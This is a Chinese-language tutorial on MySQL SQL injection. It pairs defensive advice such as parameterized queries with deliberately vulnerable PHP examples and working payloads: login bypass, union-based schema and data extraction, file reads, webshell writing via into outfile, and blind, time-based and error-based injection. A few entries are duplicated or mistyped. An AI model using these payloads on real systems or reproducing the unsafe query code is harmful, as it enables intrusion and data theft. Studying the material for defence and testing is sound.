漏洞描述

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打 破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。

测试方法

代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法。

1
2
3
4
5
6
7
( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
( 2 )对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。
( 3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
( 6 )严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
( 7 )避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

与 Mysql 注入相关的知识

在 Mysql5 版本之后,mysql 增加了一个叫 information_schema 的数据库,这个数据库里面有很多表,里面记录着用户新建的数据库以及数据表的信息。

在 SQL 注入中,我们重点关注的表有如下几个,因为主要利用这几个表来获取数据

1
schemata: 提供了当前mysql数据库中所有数据库的信息,其中 schema_name 字段保存了所有的数据库名。
1
tables: 提供了关于数据库中的表的信息,详细描述了某个表属于哪个库,表类型,表引擎,创建时间等信息,其中 table_name 字段保存了所有列名信息。
1
columns: 提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息,其中column_name 保存了所有的字段信息.

Mysql 注入的白盒分析

一下给出一个登录验证的php代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username = '$username' and password = '$password'";
$conn = mysqli_connect("localhost","root","root","login");
$result = mysqli_query($conn,$sql);
if(mysqli_num_rows($result) > 0){
echo "登录成功";
}
else{
echo "登录失败";
}?>

sql注入的本质

sql注入的本质是什么,无非就是将用户输入的参数拼接到sql语句中带入到数据库当作了sql代码执行。

那么我们就把重点放在sql语句上面

假如我们输入的用户名和密码为:

1
2
admin 
admin123

那么它拼接到sql语句中时就变成了:

1
select * from user where username = 'admin' and password = 'admin123'

那么假如我们输入的是:

1
' #

带入到sql语句中就变成了

1
select * from user where username = '' #' and  password = ''

我们输入的第一个引号和sql语句中原有的引号闭合了,后面那半个引号被孤立了起来,username 后面的参数为空,输入的井号被当成了注释符号,所以后面的语句被注释掉了。

SQL注入的一般流程

  • 是否存在注入并且判断注入类型
  • 判断字段数 order by
  • 确定回显点 union select 1,2
  • 查询数据库信息 @@version @@datadir
  • 查询用户名,数据库名 user() database()
  • 文件读取 union select 1,load_file(‘C:\windows\win.ini’)
  • 写入webshell select …into outfile…

使用 sql 注入遇到专转义字符串的单引号或双引号,可以使用HEX编码绕过

Mysql 常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统

多条数据显示函数:

concat()、group_concat()、concat_ws()

显错注入

1
2
3
4
5
6
7
8
9
<?php 
$id = $_GET['id'];
$sql = "select content from article where id = $id";
$conn = mysqli_connect("localhost","root","root","test");
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
echo "$row[content]";
?>

问: 为什么要判断字段数

1
2
首先要明白union联合查询的必要条件是什么,字段数必须要相同
union select 1,2,3

问: 为什么要写 and 1=2

1
?id=1 参数后面不加上 and 1=2 的话的不是 id=1 的数据就显示出来了,那么我们要的是利用sql注入得到我们想要的东西,如果不让id=1 的数据显示异常,那么将会对我们后续的操作造成一些不必要的麻烦

payload:

1
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
1
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=''

盲注

前文所述注入是有返回值,盲注入是没有返回值,即 0 或 1

常用函数

  • if 函数
1
if('判断语句','正确时执行的东西','错误时执行的东西')

举个例子

1
2
select if(1 > 2,1,0);
# 判断1 是否大于2 如果正确则将中间那条语句拼接到select后面执行,如果错误则将最后一个语句拼接到select后。
  • length() 函数
1
length('string');    #计算字符串的长度
  • substr() 函数
1
length('string');    #计算字符串的长度
  • substr() 函数
1
substr('字符串','位置','长度')   #字符串截取函数

举个例子:

1
substr(database(),1,2);
  • ascii() 函数
1
ascii('一个字符') 
  • group_concat () 函数
1
group_concat(字段名)

实际使用

  • 判断数据库名的长度
1
?id=1 and if(length(database())=6,1,0) 
  • 一个字符一个字符的询问数据库名
1
?id=1 and if(ascii(substr(database(),1,1))=100,1,0);

时间型盲注(延时注入)

1
select * from user where id=1 and if((判断语句),sleep(5),0)

报错注入

updatexml 函数

1
id=1' and updatexml(1,concat(0x23,select @@sersion),1) --+

extractvalue 函数

1
id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+